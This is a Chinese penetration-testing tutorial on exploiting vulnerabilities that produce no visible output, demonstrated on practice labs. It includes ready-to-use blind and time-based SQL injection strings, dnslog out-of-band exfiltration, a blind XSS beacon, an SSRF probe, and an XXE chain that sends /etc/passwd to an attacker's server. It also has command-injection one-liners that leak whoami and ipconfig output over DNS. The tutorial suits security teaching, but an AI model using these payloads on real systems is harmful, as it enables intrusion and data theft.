您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

记一次PHP渗透测试实战教程

时间:2021-08-12 10:59:11  来源:  作者:KaliMa

0x01前言

在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过DNSlog判断漏洞存在,或者通过起一个Python的http服务来判断,方法很多,下面主要进行一些情况的分析。

0x02无回显概念

无回显,即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试过程中,漏洞点不可能总是能够在返回页面进行输出,那么这时候就需要进行一些无回显利用了。

0x03不同漏洞的无回显

1、SQL注入无回显

SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。当然SQL注入在无回显上已经具有了一定的解决措施。
无回显我将其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。

1.1 布尔盲注

布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;查询语句为假,页面不输出内容。那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。具体测试过程如下:
1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。

记一次PHP渗透测试实战教程

 

2、在传参后面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。

记一次PHP渗透测试实战教程

 

3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

4、通过length()函数判断数据库库名的长度大于1。
?id=1’ and length(database())>1 %23

记一次PHP渗透测试实战教程

 

5、在大于8的时候页面返回空,所以数据库库名长度等于8。

记一次PHP渗透测试实战教程

 

6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1’ and ascii(substr((select database()),1,1))>97 %23
?id=1’ and ascii(substr((select database()),1,1))=101 %23
首先用大于号判断出大概所处的值,最后使用等于号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。

记一次PHP渗透测试实战教程

 

7、更改截取的位置,判断后面的字符对应的ascii码值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23

记一次PHP渗透测试实战教程

 

1.2 延时盲注

延时盲注,一种盲注的手法。在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。在php中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3。配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

2、通过and拼接延时函数查看页面是否有延时回显。首先记录没有使用延时函数的页面返回时间,为4.*秒;使用sleep(5)延时5秒之后,页面响应时间为9.*秒,说明对于我们输入的sleep()函数进行了延时处理,此处存在延时盲注。

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

3、通过延时注入判断数据库库名的长度。一个个测试发现当长度等于8时页面延时返回了,说明数据库库名长度为8。
?id=2’ and if((length(database())=8),sleep(5),1) %23

记一次PHP渗透测试实战教程

 

4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相等时延时5秒。最后得到第一个字符的ascii码为115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23

记一次PHP渗透测试实战教程

 

5、后面替换截断的位置,测试后面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具解得数据库库名为security。

记一次PHP渗透测试实战教程

 

巧用dnslog进行SQL注入

前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐,不仅需要一个一个字符的获取,最后还需要进行ascii解码,这需要花费大量的时间与精力。为了加快渗透进程,以及降低获取数据的难度,这里介绍如何通过dnslog进行SQL注入。

Dnslog

dnslog,即dns日志,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说,dnslog就是一个服务器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日志得到需要的数据。

Load_file()函数

数据库中的load_file()函数,可以加载服务器中的内容。load_file(‘c:/1.txt’),读取文件并返回内容为字符串,使用load_file()函数获取数据需要有以下几个条件:
1.文件在服务器上
2.指定完整路径的文件
3.必须有FILE权限

UNC路径

UNC路径就是类似softer这样的形式的网络路径。它符合 服务器名服务器资源的格式。在windows系统中常用于共享文件。如192.168.1.1共享文件夹名。

Dnslog注入实例演示

1、打开实例站点,很明显这里是只能使用盲注的站点。

记一次PHP渗透测试实战教程

 

2、通过order by判断出字段数为3。

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

3、在dnslog网站申请一个dnslog域名:pcijrt.dnslog.cn

记一次PHP渗透测试实战教程

 

4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名。最后将这个查询放到联合查询中,构造的payload如下:

?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23
记一次PHP渗透测试实战教程

 

5、执行语句之后在dnslog日志中获取到数据库库名为security。

记一次PHP渗透测试实战教程

 

6、修改子查询里的内容,获取其他数据。

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

2、XSS无回显

XSS无回显比较特殊,一般XSS漏洞的判断标准为弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就需要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解:

2.1 XSS盲打

1、如图这里是一个提交看法的功能

记一次PHP渗透测试实战教程

 

2、随便输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中

记一次PHP渗透测试实战教程

 

3、登录后台可以看到确实有数据回显

记一次PHP渗透测试实战教程

 

4、输入弹框语句会在后台成功执行

记一次PHP渗透测试实战教程

 

5、在渗透测试过程中我们无法登录后台进行查看,那么就需要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。

记一次PHP渗透测试实战教程

 

2.2 通过dnslog判断漏洞存在

payload:
<img src=http://xss.t7y3wc.dnslog.cn>
记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

3、SSRF无回显

SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下:

<?php 
    echo file_get_contents($_GET['url']);
?>

首先通过访问百度可以验证漏洞存在

记一次PHP渗透测试实战教程

 

无回显情况即不进行输出,页面返回空

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG

http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn

记一次PHP渗透测试实战教程

 

2、python起的http服务

python3 -m http.server 4545
记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

4、XXE无回显

因为XML是用来存储传输数据的,除了确实是业务需要,否则开发不可能会输出内容,也就是说你确实读取到了文件内容,但是没办法看到。XXE无回显问题当然也是可以通过在域名前面放入查询出的内容,将数据通过dns日志记录下来。
XXE虽然不是通过DNSlog,但是也同样是外带数据。
流程如下:
在受害者网站中,我们通过请求攻击者VPS上的1.xml文件,文件内容为将某数据放在GET传参中去访问2.php。然后2.php中的内容为保存GET传参的数据,将数据放入到3.txt中。
具体文件内容放在下面,里面的IP地址应该为攻击者的IP地址,这3个文件也是放在攻击者VPS上。
1.xml

<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻击者的IP地址/2.php?id=%file;'>">%all;

2.php

<?php file_put_contents("3.txt",$_GET["id"],FILE_AppEND);?>

3.txt

内容空


payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM"http://服务器IP地址/xxe/1.xml">
%remote;
%send;
]>

5、命令执行无回显

简单的命令执行站点

记一次PHP渗透测试实战教程

 

输入任何命令都无回显

记一次PHP渗透测试实战教程

 

5.1 Dnslog判断漏洞存在

记一次PHP渗透测试实战教程

 


记一次PHP渗透测试实战教程

 

5.2Dnslog外带数据

5.2.1 获取windows用户名

http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
记一次PHP渗透测试实战教程

 

5.2.2 其他命令执行

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp

通过POST传参测试

记一次PHP渗透测试实战教程

 

传参的内容需要进行url编码

记一次PHP渗透测试实战教程

 

Post传参

记一次PHP渗透测试实战教程

 

Dnslog获取结果

记一次PHP渗透测试实战教程

 

Base64解码获取内容

记一次PHP渗透测试实战教程

 

总结

在渗透测试过程中,无回显是很常见的,程序不可能将一些操作都回显到页面中,那么这种时候我们就需要外带数据来获取想要的内容。当然最好就是能够反弹shell,通过获取shell来执行命令,这样会舒服很多。

无回显的情况还有很多很多,这里简单介绍了几种,希望读者朋友们能够从中学到对于无回显的情况下如何进行渗透测试,方法很多,不固定,学习思路即可。



Tags:PHP渗透   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
一、背景介绍Pikachu是一个带有各种漏洞的Web应用系统,这个系统是使用PHP搭建的,需要PHP环境和Mysql数据库支持。我们可以利用phpstudy在本地搭建这个渗透测试平台,如果你是一...【详细内容】
2021-10-09  Tags: PHP渗透  点击:(52)  评论:(0)  加入收藏
0x01前言在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来...【详细内容】
2021-08-12  Tags: PHP渗透  点击:(68)  评论:(0)  加入收藏
▌简易百科推荐
一、背景介绍作为一名渗透测试工作人员(或者小白),在我们的日常工作或者学习中,我们不可能时时刻刻将自己的个人电脑(安装好Kali Linux的个人主机)带在身边,当我们没有带自己的个人...【详细内容】
2021-12-27  Kali与编程    Tags:Kali Linux   点击:(2)  评论:(0)  加入收藏
我们都知道公司网络中开放的端口越多,遭受网络攻击的可能性就越大,就越容易发生数据泄露事件。 在这篇文章中,我们将讨论与开放端口相关的网络安全隐患。 网络中的端口 据统计...【详细内容】
2021-12-10  诺必达云服务    Tags:端口扫描   点击:(33)  评论:(0)  加入收藏
一、背景介绍DirBuster是用来探测web服务器上的目录和隐藏文件的。因为DirBuster是采用java编写的,所以运行前要安装上java的环境。 来看一下基本的使用: ①:TargetURL下输入要...【详细内容】
2021-12-07  Kali与编程    Tags:Dirbuster   点击:(27)  评论:(0)  加入收藏
#本文仅用于网络安全研究学习任何未经授权的入侵都是违法行为dir 浏览 创建文件 echo 文件内容 > 文件名字.扩展名 浏览文件内容 type 文件名 分页浏...【详细内容】
2021-12-07  WHOAMI    Tags:黑客   点击:(22)  评论:(0)  加入收藏
上一节中我们学了如何实现ARP断网攻击,本节中我们将利用ARP欺骗的原理实现截取目标计算机图片流量,内容包括:&uuml;如何开启ip转发&uuml;怎样截取受害机图片流量 一、开启ip转...【详细内容】
2021-11-23  Kali与编程    Tags:黑客   点击:(22)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-11-15  Kali与编程    Tags:端口   点击:(38)  评论:(0)  加入收藏
1.背景介绍几乎每一个玩渗透的人都会接触到metasploit framework,简称msf。这是一个渗透测试框架,用ruby语言编写的,该框架集成了很多可用的exploit,比如著名的ms08_067等。你可...【详细内容】
2021-11-15  Kali与编程    Tags:服务扫描   点击:(37)  评论:(0)  加入收藏
在前面的课程中,我们学习了ARP攻击的理论和实践知识,知道了怎么进行攻击,这节中我们将学习如何进行防御,内容包括:&uuml;借助第三方软件防御(360安全卫士,腾讯管家等)&uuml;使用arp...【详细内容】
2021-11-13  Kali与编程    Tags:白帽   点击:(32)  评论:(0)  加入收藏
简介在sqlmap基础上增加了目录扫描、hash爆破等功能运行环境 linux 在云服务器上还是蛮不错的项目连接如下https://github.com/s0md3v/sqlmat usage: sqlmate [-h] [--dor...【详细内容】
2021-11-10  暗网视界    Tags:sqlmate   点击:(44)  评论:(0)  加入收藏
一、背景介绍在网上冲浪少不了用到搜索引擎,而很多朋友都习惯把Google视为第一个选择对象。当然Google无论在搜索速度还是结果关联性方面都是十分优秀的。但百度(http://www.b...【详细内容】
2021-11-05  Kali与编程    Tags:白帽黑客   点击:(31)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条